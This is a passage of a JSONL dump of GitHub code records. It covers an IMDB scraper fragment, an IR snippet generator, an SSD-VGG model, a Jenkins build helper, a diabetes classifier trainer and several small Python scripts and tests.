driverSourcePage.find(\"div\", class_=\"lister-list\")\n if listerListElm == None:\n raise Exception(\"Movie cannot be Found on IMDB\", \" Lister List Element Error\")\n\n listedTitles = listerListElm.find_all(\"a\", class_=\"title\")\n\n userReviews: list[str] = []\n for title in listedTitles:\n userReviews.append(title.text.replace(\"\\n\", \"\"))\n driver.quit()\n return userReviews\n","repo_name":"Ritvik-Gupta/Movies-Sentiment-Analysis","sub_path":"server/model/extractMovieReviews.py","file_name":"extractMovieReviews.py","file_ext":"py","file_size_in_byte":2034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"43759430144","text":"import GeneralLib as GL\r\n\r\nclass GenSnippet:\r\n \r\n def __init__(self, qID, query, corpus, index, stopFile):\r\n self._corpus = GL.getDataFiles(corpus)\r\n self._corpusPath = corpus\r\n self._index = index\r\n self._qID = qID\r\n self._query = query.split(\" \")\r\n #Number of words to be accounted for before and after the query term\r\n self._lookahead = 5\r\n #StopList\r\n self._stopList = GL.fileToList(stopFile)\r\n \r\n #Function to generate snippets\r\n def generateSnippet(self, file, rank):\r\n with open(GL.getFilename(self._corpusPath, file), \"r\") as f:\r\n data = f.read().split(\" \")\r\n \r\n snippet = \"\\n\\n\" + self._qID + \"<\\\\qid>\\n\"\r\n snippet += \"\" + rank + \"<\\\\rank>\\n\"\r\n snippet += (\"\" + GL.getTitle(file) + \"<\\\\doc>\\n\\n\")\r\n \r\n maxFreqTerm = self._query[0]\r\n maxFreq = 0\r\n \r\n #Get the query term with maximum frequency in the document\r\n for token in data:\r\n if not (any((char.isalpha() or char.isdigit()) for char in token)):\r\n continue\r\n if (\"<\" in token):\r\n continue\r\n token = token.lower()\r\n if token in self._index.keys():\r\n if token in self._index[token].keys():\r\n if self._index[token][GL.getTitle(file)] > maxFreq:\r\n if not ((token == \"\") or (token == \" \") or (token in self._stopList)):\r\n maxFreqTerm = token\r\n maxFreq = self._index[token][GL.getTitle(file)]\r\n \r\n if maxFreqTerm in data:\r\n pos = data.index(maxFreqTerm)\r\n else:\r\n pos = 3\r\n docSnip = \"\"\r\n \r\n #Formulate a snippet highlighting the query terms\r\n for i in range(pos-self._lookahead, pos+self._lookahead):\r\n if (i > -1 and i < len(data)):\r\n if not (\"<\" in data[i]):\r\n token = data[i].replace(\"\",\"\").replace(\"<\\\\html>\",\"\").replace(\"<\\\\pre>\",\"\").replace(\"
\",\"\").replace(\"\\n\",\"\").replace(\"\\t\",\"\") \r\n                    #Highlight the terms in query\r\n                    if(token in self._query):\r\n                        docSnip += (\"\" + token + \"<\\\\b> \")\r\n                    else:\r\n                        docSnip += (token + \" \")\r\n        snippet += docSnip + \"\\n<\\\\snippet>\\n<\\\\document>\"\r\n        return snippet\r\n                \r\n            \r\n        ","repo_name":"shreysa/InformationRetrieval","sub_path":"Project/Phase2/src/SnippetGenerator.py","file_name":"SnippetGenerator.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"38066698899","text":"from PyQt4 import QtCore\nimport os, subprocess\nimport config\n\nclass SnapshotAnalysisThread(QtCore.QThread):\n\n    msgPosted = QtCore.pyqtSignal(str)\n    finished = QtCore.pyqtSignal(object)\n\n    def __init__(self, params):\n        QtCore.QThread.__init__(self)\n        self.params = params\n\n        self.filename = params['filename']\n        self.scriptName = params['whenFinished'][1]\n\n        self.cwd = os.path.join(config.analysisDirSnapshot, self.scriptName)\n        self.execPath = os.path.join(self.cwd, 'main')\n\n        self.oFile = open(os.path.join(self.cwd, 'oFile'), 'w')\n        self.eFile = open(os.path.join(self.cwd, 'eFile'), 'w')\n\n    def run(self):\n        self.analysisProcess = subprocess.Popen([self.execPath, self.filename], cwd=self.cwd,\n                                    stdout=self.oFile, stderr=self.eFile)\n        self.analysisProcess.wait()\n        self.returncode = self.analysisProcess.returncode\n        self.msgPosted.emit('Subprocess %s completed with return code %d. Output saved in %s and %s' %\n                            (self.scriptName, self.returncode,\n                            os.path.relpath(self.oFile.name, config.analysisDirSnapshot),\n                            os.path.relpath(self.eFile.name, config.analysisDirSnapshot)))\n","repo_name":"leaflabs/willow-gui","sub_path":"src/SnapshotAnalysisThread.py","file_name":"SnapshotAnalysisThread.py","file_ext":"py","file_size_in_byte":1276,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"70905263416","text":"#Transposer sous Python l'algorithme de rotation en coordonnées polaires. \n#Pourquoi n'y-a-t-il pas de points noirs dans l'image issue de la rotation en coordonnées polaires ? \n\nimport os\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nfrom math import *\n\n#Lecture de l'image\nimage = plt.imread(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))+\"\\\\Images\\\\coco.bmp\")\n\n#algoruthme de rotation en coordonnées polaires\ndef RotationPolaires(image, angle):\n    # Initialisation\n    angle = radians(angle)\n    h, w = image.shape\n    h2 = int(h/2)\n    w2 = int(w/2)\n    image2 = np.zeros((h, w), dtype=np.uint8)\n\n    # Rotation de l'image avec disparition des points noirs\n    for i in range(h):\n        for j in range(w):\n            x = int((j-w2)*cos(angle) - (i-h2)*sin(angle) + w2)\n            y = int((j-w2)*sin(angle) + (i-h2)*cos(angle) + h2)\n            if x >= 0 and x < w and y >= 0 and y < h:\n                image2[i, j] = image[y, x]\n    return image2\n\n#Rotation de l'image\nimage2 = RotationPolaires(image, 45)\n\n\n#Affichage de l'image de base\nplt.figure()\nplt.imshow(image, cmap='gray')\nplt.title('Image originale')\nplt.axis('off')\n\n#Affichage de l'image transformée\nplt.figure()\nplt.imshow(image2, cmap='gray')\nplt.title('Image transformée')\nplt.axis('off')\n\n#Affichage des images\nplt.show()","repo_name":"AlexandreFrancony/AnalyseImage","sub_path":"TP1/Q3.py","file_name":"Q3.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"40811520929","text":"import sys\r\nimport re\r\nimport os\r\n\r\nf1 = open(\"/data5/2019swh/mycode/test/test-model_wind_3.ncl\",\"r+\")\r\ntext = f1.readlines()\r\nfiles = os.listdir('/data5/2019swh/mydown/merra_modellev')\r\nfiles.sort()\r\nf1.close()\r\n\r\nfor ff in files:\r\n    f = open(\"/data5/2019swh/data/cal_thermal_p/\"+ff+\".ncl\",\"w\")\r\n    for ss in text:\r\n        text2 = re.sub('name',ff,ss)\r\n        f.writelines(text2)\r\n    f.close()\r\n    os.system(\"ncl /data5/2019swh/data/cal_thermal_p/\"+ff+\".ncl\")","repo_name":"sunweihao2020/mycode","sub_path":"other/int2p_wind.py","file_name":"int2p_wind.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"43536189652","text":"from pyarrow import csv\nimport duckdb\n\n# read input file in as arrow table\ninput_file = '../PD 2022 Wk 1 Input - Input.csv'\nsource_arrow_table = csv.read_csv(input_file)\n\n# use duckdb to query arrow table with sql and store in new table\ncon = duckdb.connect()\narrow_table = con.execute(\n    '''\n    select\n        cast(\n            ceil(date_diff('month', strptime(\"Date of Birth\", '%m/%d/%Y'), cast('2014-09-01' as date))/12.0) + 1 as int\n        ) as \"Academic Year\",\n        concat(\"pupil last name\", ', ', \"pupil first name\") as \"Pupils Name\",\n        case\n            when \"Parental Contact\" = 1\n                then concat(\"pupil last name\", ', ', \"Parental Contact Name_1\")\n            else\n                concat(\"pupil last name\", ', ', \"Parental Contact Name_2\")\n        end as \"Parental Contact Full Name\",\n        case\n            when \"Parental Contact\" = 1 then\n                concat(\"Parental Contact Name_1\", '.', \"pupil last name\", '@', \"Preferred Contact Employer\", '.com')\n            else\n                concat(\"Parental Contact Name_2\", '.', \"pupil last name\", '@', \"Preferred Contact Employer\", '.com')\n        end as \"Parental Contact Email Address\"\n    from source_arrow_table\n    '''\n).fetch_arrow_table()\n\n# output new arrow table to csv\ncsv.write_csv(arrow_table, 'output.csv')\n","repo_name":"jharris126/preppin-data-jeremy","sub_path":"2022 Week 1/arrow/2022_1.py","file_name":"2022_1.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"37285783748","text":"import torch\nimport torch.nn as nn\nimport math\nimport torchvision.models\nfrom torch.utils import model_zoo\nimport torch.nn.functional as F\n\nfrom loss import cxcy_to_xy, cal_IoU, gcxgcy_to_cxcy\n\nmodel_urls = {\n    'vgg11': 'https://download.pytorch.org/models/vgg11-bbd30ac9.pth',\n    'vgg13': 'https://download.pytorch.org/models/vgg13-c768596a.pth',\n    'vgg16': 'https://download.pytorch.org/models/vgg16-397923af.pth',\n    'vgg19': 'https://download.pytorch.org/models/vgg19-dcbb9e9d.pth',\n    'vgg11_bn': 'https://download.pytorch.org/models/vgg11_bn-6002323d.pth',\n    'vgg13_bn': 'https://download.pytorch.org/models/vgg13_bn-abd245e5.pth',\n    'vgg16_bn': 'https://download.pytorch.org/models/vgg16_bn-6c64b313.pth',\n    'vgg19_bn': 'https://download.pytorch.org/models/vgg19_bn-c79401a0.pth',\n}\n\ncfgs = {\n    'A': [64, 'M', 128, 'M', 256, 256, 'M', 512, 512, 'M', 512, 512, 'M'],\n    'B': [64, 64, 'M', 128, 128, 'M', 256, 256, 'M', 512, 512, 'M', 512, 512, 'M'],\n    'D': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 'MC', 512, 512, 512, 'M', 512, 512, 512, 'M'],\n    'E': [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 256, 'M', 512, 512, 512, 512, 'M', 512, 512, 512, 512, 'M'],\n}\n\n\nclass Conv2d(nn.Module):\n    def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=0, bias=True, dilation=1):\n        super(Conv2d, self).__init__()\n        self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride=stride, padding=padding, bias=bias,\n                              dilation=dilation)\n        # self.bn = nn.BatchNorm2d(out_channels)\n        self.relu = nn.ReLU(inplace=False)\n\n    def forward(self, x):\n        x = self.conv(x)\n        # x = self.bn(x)\n        x = self.relu(x)\n        # x = F.dropout2d(x, 0.1)\n        return x\n\n\nclass VGG(nn.Module):\n\n    def __init__( self, features, num_classes=1000, init_weights=True, freeze=True ):\n        super(VGG, self).__init__()\n        self.features = features\n        self.conv4_3 = LayerActivation(self.features, 22)\n        self.conv5_3 = LayerActivation(self.features, 29)\n        # self.conv4_3 = LayerActivation(self.features, 32)\n        # self.conv5_3 = LayerActivation(self.features, 42)\n        self.avgpool = nn.AdaptiveAvgPool2d((7, 7))\n        self.classifier = nn.Sequential(\n            nn.Linear(512 * 7 * 7, 4096),\n            nn.ReLU(True),\n            nn.Dropout(),\n            nn.Linear(4096, 4096),\n            nn.ReLU(True),\n            nn.Dropout(),\n            nn.Linear(4096, num_classes),\n        )\n        if init_weights:\n            self._initialize_weights()\n\n        if freeze:\n            for param in self.features.parameters():\n                param.requires_grad = False\n\n    def forward(self, x, device):\n        self.features(x)\n        out4_3 = self.conv4_3.features.to(device)\n        out5_3 = self.conv5_3.features.to(device)\n        return out4_3, out5_3\n\n    def _initialize_weights(self):\n        for m in self.modules():\n            if isinstance(m, nn.Conv2d):\n                nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu')\n                if m.bias is not None:\n                    nn.init.constant_(m.bias, 0)\n            elif isinstance(m, nn.BatchNorm2d):\n                nn.init.constant_(m.weight, 1)\n                nn.init.constant_(m.bias, 0)\n            elif isinstance(m, nn.Linear):\n                nn.init.normal_(m.weight, 0, 0.01)\n                nn.init.constant_(m.bias, 0)\n\n\ndef make_layers(cfg, batch_norm=False):\n    layers = []\n    in_channels = 3\n    for v in cfg:\n        if v == 'M':\n            layers += [nn.MaxPool2d(kernel_size=2, stride=2)]\n        elif v == 'MC':\n            layers += [nn.MaxPool2d(kernel_size=2, stride=2, ceil_mode=True)]\n        else:\n            conv2d = nn.Conv2d(in_channels, v, kernel_size=3, padding=1)\n            if batch_norm:\n                layers += [conv2d, nn.BatchNorm2d(v), nn.ReLU(inplace=True)]\n            else:\n                layers += [conv2d, nn.ReLU(inplace=True)]\n            in_channels = v\n    return nn.Sequential(*layers)\n\n\ndef _vgg(arch, cfg, batch_norm, pretrained, **kwargs):\n    if pretrained:\n        kwargs['init_weights'] = False\n    model = VGG(make_layers(cfgs[cfg], batch_norm=batch_norm), **kwargs)\n    if pretrained:\n        state_dict = model_zoo.load_url(model_urls[arch])\n        model.load_state_dict(state_dict)\n    return model\n\n\ndef vgg16(pretrained=False, **kwargs):\n    return _vgg('vgg16', 'D', False, pretrained, **kwargs)\n\n\n# def vgg16(pretrained=False, **kwargs):\n#     return _vgg('vgg16_bn', 'D', True, pretrained, **kwargs)\n\n\nclass LayerActivation:\n    features = None\n\n    def __init__(self, model, layer_num):\n        self.hook = model[layer_num].register_forward_hook(self.hook_fn)\n\n    def hook_fn(self, module, input, output):\n        self.features = output.cpu()\n\n    def remove(self):\n        self.hook.remove()\n\n\nclass AuxiliaryConv(nn.Module):\n    def __init__(self):\n        super(AuxiliaryConv, self).__init__()\n        self.conv6_7 = nn.Sequential(\n            Conv2d(512, 1024, kernel_size=3, padding=6, dilation=6),\n            Conv2d(1024, 1024, kernel_size=1)\n        )\n\n        self.conv8 = nn.Sequential(\n            Conv2d(1024, 256, kernel_size=1),\n            Conv2d(256, 512, kernel_size=3, stride=2, padding=1)\n        )\n        self.conv9 = nn.Sequential(\n            Conv2d(512, 128, kernel_size=1),\n            Conv2d(128, 256, kernel_size=3, stride=2, padding=1)\n        )\n        self.conv10 = nn.Sequential(\n            Conv2d(256, 128, kernel_size=1),\n            Conv2d(128, 256, kernel_size=3, stride=1)\n        )\n        self.conv11 = nn.Sequential(\n            Conv2d(256, 128, kernel_size=1),\n            Conv2d(128, 256, kernel_size=3, stride=1)\n        )\n        self.init_conv2d()\n\n    def init_conv2d( self ):\n        \"\"\"\n        Initialize convolution parameters.\n        \"\"\"\n        for c in self.modules():\n            if isinstance(c, nn.Conv2d):\n                nn.init.xavier_uniform_(c.weight)\n                nn.init.constant_(c.bias, 0.)\n\n    def forward(self, x):\n        out7 = self.conv6_7(x)\n        out8 = self.conv8(out7)\n        out9 = self.conv9(out8)\n        out10 = self.conv10(out9)\n        out11 = self.conv11(out10)\n\n        return out7, out8, out9, out10, out11\n\n\nclass PredictionLayerConv(nn.Module):\n    def __init__(self, in_channels, dimensions, num_classes):\n        super(PredictionLayerConv, self).__init__()\n        self.num_classes = num_classes\n        self.localization_conv = nn.Conv2d(in_channels, dimensions * 4, kernel_size=3, padding=1)\n        self.prediction_conv = nn.Conv2d(in_channels, dimensions * num_classes, kernel_size=3, padding=1)\n\n    def forward(self, x):\n        bs = x.shape[0]\n        localization = self.localization_conv(x).permute(0, 2, 3, 1).contiguous().view(bs, -1, 4)\n        prediction = self.prediction_conv(x).permute(0, 2, 3, 1).contiguous().view(bs, -1, self.num_classes)\n\n        return localization, prediction\n\n\nclass PredictionConv(nn.Module):\n    def __init__(self, num_classes):\n        super(PredictionConv, self).__init__()\n        num_priors = {'conv_4_3': 4, 'conv_7': 6, 'conv_8': 6, 'conv_9': 6, 'conv_10': 4, 'conv_11': 4}\n        self.conv_4_3 = PredictionLayerConv(512, num_priors['conv_4_3'], num_classes)\n        self.conv_7 = PredictionLayerConv(1024, num_priors['conv_7'], num_classes)\n        self.conv_8 = PredictionLayerConv(512, num_priors['conv_8'], num_classes)\n        self.conv_9 = PredictionLayerConv(256, num_priors['conv_9'], num_classes)\n        self.conv_10 = PredictionLayerConv(256, num_priors['conv_10'], num_classes)\n        self.conv_11 = PredictionLayerConv(256, num_priors['conv_11'], num_classes)\n\n        self.init_conv2d()\n\n    def init_conv2d(self):\n        \"\"\"\n        Initialize convolution parameters.\n        \"\"\"\n        for c in self.modules():\n            if isinstance(c, nn.Conv2d):\n                nn.init.xavier_uniform_(c.weight)\n                nn.init.constant_(c.bias, 0.)\n\n    def forward(self, out_4_3, out_7, out_8, out_9, out_10, out_11):\n        loc_4_3, pred_4_3 = self.conv_4_3(out_4_3)\n        loc_7, pred_7 = self.conv_7(out_7)\n        loc_8, pred_8 = self.conv_8(out_8)\n        loc_9, pred_9 = self.conv_9(out_9)\n        loc_10, pred_10 = self.conv_10(out_10)\n        loc_11, pred_11 = self.conv_11(out_11)\n\n        locs = torch.cat([loc_4_3, loc_7, loc_8, loc_9, loc_10, loc_11], dim=1)\n        preds = torch.cat([pred_4_3, pred_7, pred_8, pred_9, pred_10, pred_11], dim=1)\n\n        return locs, preds\n\n\ndef get_priors():\n    fmap_dims = {'conv4_3': 38,\n                 'conv7': 19,\n                 'conv8_2': 10,\n                 'conv9_2': 5,\n                 'conv10_2': 3,\n                 'conv11_2': 1}\n\n    obj_scales = {'conv4_3': 0.1,\n                  'conv7': 0.2,\n                  'conv8_2': 0.375,\n                  'conv9_2': 0.55,\n                  'conv10_2': 0.725,\n                  'conv11_2': 0.9}\n\n    aspect_ratios = {'conv4_3': [1., 2., 0.5],\n                     'conv7': [1., 2., 3., 0.5, .333],\n                     'conv8_2': [1., 2., 3., 0.5, .333],\n                     'conv9_2': [1., 2., 3., 0.5, .333],\n                     'conv10_2': [1., 2., 0.5],\n                     'conv11_2': [1., 2., 0.5]}\n\n    fmaps = list(fmap_dims.keys())\n\n    prior_boxes = []\n\n    for k, fmap in enumerate(fmaps):\n        for i in range(fmap_dims[fmap]):\n            for j in range(fmap_dims[fmap]):\n                cx = (j + 0.5) / fmap_dims[fmap]\n                cy = (i + 0.5) / fmap_dims[fmap]\n\n                for ratio in aspect_ratios[fmap]:\n                    prior_boxes.append(\n                        [cx, cy, obj_scales[fmap] * math.sqrt(ratio), obj_scales[fmap] / math.sqrt(ratio)])\n                    if ratio == 1.:\n                        try:\n                            additional_scale = math.sqrt(obj_scales[fmap] * obj_scales[fmaps[k + 1]])\n                        except IndexError:\n                            additional_scale = 1.\n                        prior_boxes.append([cx, cy, additional_scale, additional_scale])\n\n    prior_boxes = torch.FloatTensor(prior_boxes)\n    prior_boxes.clamp_(0, 1)\n\n    return prior_boxes\n\n\nclass SSD_VGG(nn.Module):\n    def __init__(self, num_classes, device, freeze):\n        super(SSD_VGG, self).__init__()\n        self.device = device\n        self.num_classes = num_classes\n        self.vgg = vgg16(pretrained=True, freeze=freeze).to(device)\n        self.auxiliary_conv = AuxiliaryConv().to(device)\n        self.prediction_conv = PredictionConv(num_classes).to(device)\n        self.priors_cxcy = get_priors().to(device)\n\n    def forward(self, x):\n        out4_3, out5_3 = self.vgg(x, self.device)\n        out7, out8, out9, out10, out11 = self.auxiliary_conv(out5_3)\n        locs, preds = self.prediction_conv(out4_3, out7, out8, out9, out10, out11)\n\n        return locs, preds\n\n\n# if __name__ == '__main__':\n#     img = torch.ones((2, 3, 300, 300))\n#     model = SSD_VGG(num_classes=4, device='cpu')\n#     o = model(img)\n","repo_name":"namdvt/SSD-Pytorch","sub_path":"models/ssd_vgg.py","file_name":"ssd_vgg.py","file_ext":"py","file_size_in_byte":11040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"15093609149","text":"#!/usr/bin/env python\n\nimport requests\n\nclass JenkinsHelper:\n    jenkins_url = 'http://ci.localhost'\n\n    def __init__(self, token):\n        self.token = token\n    \n    def build(self, job):\n        headers = {\n            'Accept': 'application/json',\n            'Authorization': 'Basic %s' % self.token\n        }\n        endpoint = '%s/job/%s/build' % (self.jenkins_url, job)\n        response = requests.post(endpoint, headers=headers)\n        if response.status_code == 201:\n            # Job launched in Build Queue\n            endpoint = '%sapi/json' % response.headers['Location'] \n            response = requests.get(endpoint, headers=headers)\n            if response.status_code == 200:\n                j = response.json()\n                return j['id']\n            else:\n                return None\n        else:\n            # Something has gone wrong...\n            return None\n    \n    def status(self, id):\n        headers = {\n            'Accept': 'application/json',\n            'Authorization': 'Basic %s' % self.token\n        }\n        endpoint = '%s/queue/item/%s/api/json' % (self.jenkins_url, id)\n        response = requests.get(endpoint, headers=headers)\n        if response.status_code == 200:\n            j = response.json()\n            if 'cancelled' in j and j['cancelled'] == True:\n                return 'Aborted'\n            if 'stuck' in j and j['stuck'] == True:\n                return 'Stuck'\n            if 'executable' in j:\n                endpoint = '%sapi/json' % j['executable']['url']\n                response = requests.get(endpoint, headers=headers)\n                if response.status_code == 200:\n                    j = response.json()\n                    if j['building'] == True:\n                        return 'Running'\n                    if j['result'] ==  'SUCCESS':\n                        return 'Succeeded'\n                    if j['result'] ==  'FAILURE':\n                        return 'Failed'\n                    if j['result'] ==  'ABORTED':\n                        return 'Aborted'\n                else:\n                    return None\n            else:\n                return 'Pending'\n        else:\n            return None ","repo_name":"didier-schmitt/demystify-flask","sub_path":"jenkins.py","file_name":"jenkins.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"72642485815","text":"import os\nimport json\n\ntier_list = {\n    'S': [],\n    'A': [],\n    'B': [],\n    'C': [],\n    'D': [] \n}\n\n\n\nthisPath = 'lists\\\\'\n\nif not os.path.exists(thisPath):\n    os.makedirs(thisPath)\n\nentry = ''\nitem = ''\nfile_name = input('nome da tier list: ')\nos.system('cls')\n\n\nwhile True:\n    entry = input('Qual tier (S, A, B, C, D) ?\\n0 para sair\\n').upper()\n    try:\n        if entry == '0':\n            break\n        tier_list[entry]\n    except:\n        os.system('cls')\n        print('Esse rank não existe!')\n        continue\n    item = input('Nome da coisa: ')\n    tier_list[entry].append(item)\n    os.system('cls')\n\nos.system('cls')\n\nfor item in tier_list:\n    print(\"Tier {}:\\n{}\".format(item, tier_list.get(item)))\n\nf = open(thisPath + file_name + '.json', 'w')\nf.write(json.dumps(tier_list, indent=4, sort_keys=False))\nf.close()\n","repo_name":"FooOperator/my-learning-rep-py","sub_path":"basics/cool stuff/tier list/tier list.py","file_name":"tier list.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"42158261358","text":"class Person:\n    def __init__(self, name, weight):\n        self.name = name\n        self.weight = weight\n        # print('%s体重%d' % (self.name, self.weight))\n\n    def __str__(self):\n        return '我的名字是%s,体重是%.2f公斤'%(self.name,self.weight)\n\n    def run(self, time_run):\n        self.run_times= time_run\n        self.weight -= time_run * 0.5\n        print('%s跑步%d次减重%.2f公斤,现在重%.02f公斤' % (self.name, self.run_times, self.run_times * 0.5, self.weight))\n\n    def eat(self, time_eat):\n        self.eat_times = time_eat\n        self.weight += time_eat * 1\n        print('%s吃饭%d次增重%.2f公斤,现在重%.2f公斤' % (self.name, self.eat_times, self.eat_times* 1, self.weight))\n\n\nxiaoming=Person('小明', 75)\nxiaoming.run(5)\nxiaoming.eat(5)\nprint(xiaoming)\nxiaomei=Person('小美',45)\nxiaomei.run(4)\nxiaomei.eat(4)\nprint(xiaomei)\n","repo_name":"penny2252/xx_penny22521","sub_path":"xx_2_对象练习_01.py","file_name":"xx_2_对象练习_01.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18111808063","text":"import os\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import ensemble\nfrom sklearn.metrics import accuracy_score, confusion_matrix\nimport joblib\nfrom sklearn.preprocessing import LabelEncoder\n\n\npath = os.path.join('dataset','diabetes_health_indicators.xlsx')\n#Load dataset and create dataframe\ndf = pd.read_excel(path)\n\n#Copy dataframe for X (Features)\nfeatures_df = df.copy()\n\n#Remove the class from the feature data\ndel features_df['Diabetes_binary']\n\n#Replace categorical data with label encoded data\nle = LabelEncoder()\ndf['Diabetes_binary'] = le.fit_transform(df['Diabetes_binary'])\n\n# X: Attributes we will process       Y:Target attribute to predict\nX = features_df.values\ny = df['Diabetes_binary'].values\n\n#Split dataset into training(%70) and testing(%30)\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=10)\n\n#Fit model\nmodel = ensemble.GradientBoostingClassifier(\n    n_estimators=700,\n    learning_rate=0.05,\n    max_depth=15,\n    min_samples_leaf=8,\n    min_samples_split=3,\n    #max_features=1.0,\n    loss='log_loss',\n    subsample=0.5\n)\nmodel.fit(X_train, y_train)\n\n#Save the trained model to a file so we can use it in other programs\njoblib.dump(model, 'trained_gbm_model.pkl')\n\n# Find the accuracy rate on the training set\nacc = accuracy_score(y_train, model.predict(X_train))\nprint(\"Training Set Accuracy_score: %.4f\" % acc)\n\n\n# Find the accuracy rate on the test set\nacc = accuracy_score(y_test, model.predict(X_test))\nprint(\"Test Set Accuracy_score: %.4f\" % acc)\n\n# Print Confusion Matrix\nconf_matrix = confusion_matrix(y_test, model.predict(X_test))\nprint(\"\\n__Confusion Matrix__\\n \", conf_matrix)\n","repo_name":"BerkKilicoglu/ML-Modelling-Disease-Analysis","sub_path":"train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"22"}
+{"seq_id":"32533562581","text":"def limpiar(sucio):\n    r = \"\"\n    for c in sucio:\n        if c in \"0123456789\":\n            r += c\n        elif c in \"kK\":\n            r += \"K\"\n    s = r[:2]+\".\"+r[2:5]+\".\"+r[5:8]+\"-\"+r[8:]\n    return s\n\nr = open(\"rutssucios.txt\")\nls = r.readlines()\nr.close()\n\ne = open(\"rutslimpios.txt\",\"w\")\nfor l in ls:\n    sucio = l.strip()\n    limpio = limpiar(sucio)\n    print(limpio,file=e)\ne.close()\n\n\n","repo_name":"jorgedg6/material-computacion","sub_path":"INTRO A PYTHON/Codigos/10. Archivos/rut.py","file_name":"rut.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32798403668","text":"# Standard Library\nfrom datetime import datetime as dt\nfrom datetime import timezone\n\n# Third Party Packages\nimport pytest\nfrom dateutil.tz import tzoffset\nfrom marshmallow.exceptions import ValidationError\n\nfrom toggl2harvest import models, schemas\n\n\nPLUS_2 = tzoffset(None, 7200)\nMINUS_7 = tzoffset(None, -25200)\n\n\ndef make_valid_time_entries(valid_tuples):\n    return [\n        ({'s': s, 'e': e}, models.TimeEntry(start, end))\n        for s, start, e, end in valid_tuples\n    ]\n\n\nclass TestTimeEntrySchema:\n    @pytest.fixture\n    def schema(self):\n        return schemas.TimeEntrySchema()\n\n    valid_data = make_valid_time_entries([\n        (\n            '2019-01-01T12:00:00+00:00',\n            dt(2019, 1, 1, 12, tzinfo=timezone.utc),\n            '2019-01-01T12:30:00+00:00',\n            dt(2019, 1, 1, 12, 30, tzinfo=timezone.utc),\n        ),\n        (\n            '2019-01-01T12:00:00+00:00',\n            dt(2019, 1, 1, 12, tzinfo=timezone.utc),\n            '2019-01-01T12:30:00+00:00',\n            dt(2019, 1, 1, 12, 30, tzinfo=timezone.utc),\n        ),\n        (\n            '2019-01-01T12:00:00-07:00',\n            dt(2019, 1, 1, 12, tzinfo=MINUS_7),\n            '2019-01-01T12:30:00-07:00',\n            dt(2019, 1, 1, 12, 30, tzinfo=MINUS_7),\n        ),\n        (\n            '2019-01-01T12:00:00+02:00',\n            dt(2019, 1, 1, 12, tzinfo=PLUS_2),\n            '2019-01-01T12:30:00+02:00',\n            dt(2019, 1, 1, 12, 30, tzinfo=PLUS_2),\n        ),\n    ])\n\n    @pytest.mark.parametrize('valid_data,time_entry', valid_data)\n    def test_serialize(self, schema, valid_data, time_entry):\n        serialized = schema.dump(time_entry)\n        assert serialized == valid_data\n\n    @pytest.mark.parametrize(\n        'valid_data,time_entry',\n        valid_data + make_valid_time_entries([\n            (\n                '2019-01-01T12:00:00-0700',\n                dt(2019, 1, 1, 12, tzinfo=MINUS_7),\n                '2019-01-01T12:30:00-0700',\n                dt(2019, 1, 1, 12, 30, tzinfo=MINUS_7),\n            ),\n        ])\n    )\n    def test_deserialize(self, schema, valid_data, time_entry):\n        new_obj = schema.load(valid_data)\n\n        assert new_obj.start == time_entry.start\n        assert new_obj.end == time_entry.end\n\n    invalid_data = [\n        # Invalid values\n        {\n            's': 1,\n            'e': 2,\n        },\n        {\n            's': '2019-01-01T12:00:00+00:00',\n            'e': 2,\n        },\n        {\n            's': '2019-01-01T12:00:00+00:00',\n            'e': None,\n        },\n        {\n            's': 1,\n            'e': '2019-01-01T12:30:00+0000',\n        },\n        {\n            's': None,\n            'e': '2019-01-01T12:30:00+0000',\n        },\n        # Wrong variables names\n        {\n            'start': '2019-01-01T12:00:00+0000',\n            'end': '2019-01-01T12:30:00+0000',\n        },\n    ]\n\n    @pytest.mark.parametrize('invalid_data', invalid_data)\n    def test_deserialize_invalid_data(self, schema, invalid_data):\n        with pytest.raises(ValidationError):\n            schema.load(invalid_data)\n","repo_name":"acjackman/toggl2harvest","sub_path":"tests/test_schemas_time_entry.py","file_name":"test_schemas_time_entry.py","file_ext":"py","file_size_in_byte":3067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
